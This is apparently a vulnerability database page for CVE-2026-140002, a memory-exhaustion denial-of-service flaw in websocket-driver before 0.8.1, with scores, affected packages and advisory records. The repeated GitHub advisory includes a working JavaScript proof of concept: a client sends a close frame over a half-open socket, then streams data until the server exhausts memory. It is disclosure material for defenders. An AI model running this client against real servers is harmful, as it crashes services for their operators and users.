Every CVESearch/Get API key

CVE-2026-140002

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

Explain with AI
ChatGPTClaudeGoogle AI
Severity
7.5High
Network attack, no privileges, no user interactionCVSS 3.1, CVE List
Exploitation
None reported
1 exploit-related link
Exploit chance
0.62% in 30 days
Percentile51st
EPSS, scored
Listed fix
0.8.1 for websocket-driver (npm)
From GitHub Advisories and OSV8 other affected packages

Overview

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

CVSS 3.1 vector

Exploitability

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

Impact

Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploit chance over time

Unchanged since Dec 1, 2026
EPSS score 0.62% every day from Dec 1, 2026 to Dec 4, 2026.

Affected

Packages 9

Affected packages
PackageAffectedFixed
websocket-driver
npm
before 0.8.1
0.8.1
js-jquery
Azure Linux:3
through 3.5.0-4None listed
python-tensorboard
Azure Linux:3
through 2.16.2-6None listed
node-websocket-driver
Debian:12
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:13
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:14
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
librechat-0
Docker Hardened Images:Alpine:3.23
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Alpine:3.24
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Debian:13
0.8.8-0 and later, plus listed versions
0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5
Show 5 more versionsShow less
0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4
None listed

Only in multi-CVE advisories 1

Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.

Packages named only by advisories that cover several CVEs
PackageAffectedFixed
websocket-driver
TuxCare:npm
0.7.5-tuxcare.0 up to 0.7.5-tuxcare.3, plus listed versions
From an advisory covering 5 CVEs
0.7.50.7.5-tuxcare.10.7.5-tuxcare.2
0.7.5-tuxcare.3
0.7.4-tuxcare.0 up to 0.7.4-tuxcare.3, plus listed versions
From an advisory covering 5 CVEs
0.7.40.7.4-tuxcare.10.7.4-tuxcare.2
0.7.4-tuxcare.3
0.6.5-tuxcare.0 up to 0.6.5-tuxcare.3, plus listed versions
From an advisory covering 2 CVEs
0.6.50.6.5-tuxcare.10.6.5-tuxcare.2
0.6.5-tuxcare.3

Products 1

Exploits

Sources link exploit code, tools that only detect the flaw and other work on it, and most don’t say which a link is.

Exploit-related links
LinkSourceDate
googlesky/CVE-2026-140002PoC in GitHub2026-12-03

Sources

CVE List Score usedCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
CVE-2026-140002
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-01
EUVDEUVD-2026-139725CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
EUVD-2026-139725
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-01
GitHub AdvisoriesGHSA-v674-7268-hvqhCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

Summary

A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.

Details

When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.

This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.

Proof of concept

Given a server accepting WebSocket connections using websocket-driver:

const net = require("net")
const websocket = require("websocket-driver")

const server = net.createServer((connection) => {
  let driver = websocket.server({ maxLength: 1024 })

  driver.on("connect", () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on("close", () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5083, "127.0.0.1")

A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.

const net = require("net")

let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })

socket.write(
  "GET / HTTP/1.1\r\n" +
  "Host: 127.0.0.1\r\n" +
  "Connection: Upgrade\r\n" +
  "Upgrade: websocket\r\n" +
  `Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
  "Sec-WebSocket-Version: 13\r\n" +
  "\r\n"
)

socket.once("data", () => {
  // masked Close frame, empty payload
  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
  
  // send arbitrary data
  let chunk = Buffer.alloc(2 ** 20)
  setInterval(() => socket.write(chunk), 100)
})

If this client is left running, the server's memory use will continue to grow indefinitely.

Impact

A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

Record
GHSA-v674-7268-hvqh
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-01
NVDCVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
CVE-2026-140002
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-01
OSVCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
CVE-2026-140002
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-01
OSVDEBIAN-CVE-2026-140002CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
DEBIAN-CVE-2026-140002
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-03
Show 7 more recordsShow less
OSVDHI-prny-x3ta-xnu5-eobgCVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket…

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
DHI-prny-x3ta-xnu5-eobg
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-04
OSVGHSA-v674-7268-hvqhCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

Summary

A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.

Details

When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.

This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.

Proof of concept

Given a server accepting WebSocket connections using websocket-driver:

const net = require("net")
const websocket = require("websocket-driver")

const server = net.createServer((connection) => {
  let driver = websocket.server({ maxLength: 1024 })

  driver.on("connect", () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on("close", () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5083, "127.0.0.1")

A client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.

const net = require("net")

let socket = net.connect({ port: 5083, host: "127.0.0.1", allowHalfOpen: true })

socket.write(
  "GET / HTTP/1.1\r\n" +
  "Host: 127.0.0.1\r\n" +
  "Connection: Upgrade\r\n" +
  "Upgrade: websocket\r\n" +
  `Sec-WebSocket-Key: ${btoa("the sample nonce")}\r\n` +
  "Sec-WebSocket-Version: 13\r\n" +
  "\r\n"
)

socket.once("data", () => {
  // masked Close frame, empty payload
  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))
  
  // send arbitrary data
  let chunk = Buffer.alloc(2 ** 20)
  setInterval(() => socket.write(chunk), 100)
})

If this client is left running, the server's memory use will continue to grow indefinitely.

Impact

A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

Record
GHSA-v674-7268-hvqh
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770
Updated
2026-12-01
OSVAZL-117503No score

CVE-2026-140002 affecting package js-jquery 3.5.0-4

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
AZL-117503
Updated
2026-12-03
OSVAZL-117641No score

CVE-2026-140002 affecting package python-tensorboard 2.16.2-6

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.

Record
AZL-117641
Updated
2026-12-03
OSVCLSA-2026-1796199359No score

TuxCare security update for websocket-driver (5 CVEs)

TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.

Record
CLSA-2026-1796199359
Updated
2026-12-04
OSVCLSA-2026-1796206185No score

TuxCare security update for websocket-driver (5 CVEs)

TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.

Record
CLSA-2026-1796206185
Updated
2026-12-04
OSVCLSA-2026-1796226468No score

TuxCare security update for websocket-driver (2 CVEs)

TuxCare rebuilt websocket-driver to address 2 CVEs. Fixed in 0.6.5-tuxcare.3.

Record
CLSA-2026-1796226468
Updated
2026-12-03

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packages, other IDsOSV
Affected packages, other IDsOSV
ReferencesOSV
Affected packages, other IDs, referencesOSV
Affected packagesOSV
Affected packages, other IDs, referencesOSV
Exploit links, key factsPoC in GitHub
Affected packages, other IDsOSV
Published dateEUVD
Affected packagesNVD, OSV
Affected packages, other IDs, referencesOSV
Key facts, referencesCVE List, OSV
Published dateEUVD
Affected packages, referencesOSV
Affected packages, key facts, referencesGitHub Advisories
Other IDs, referencesOSV
Other IDs, published dateEUVD, NVD
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open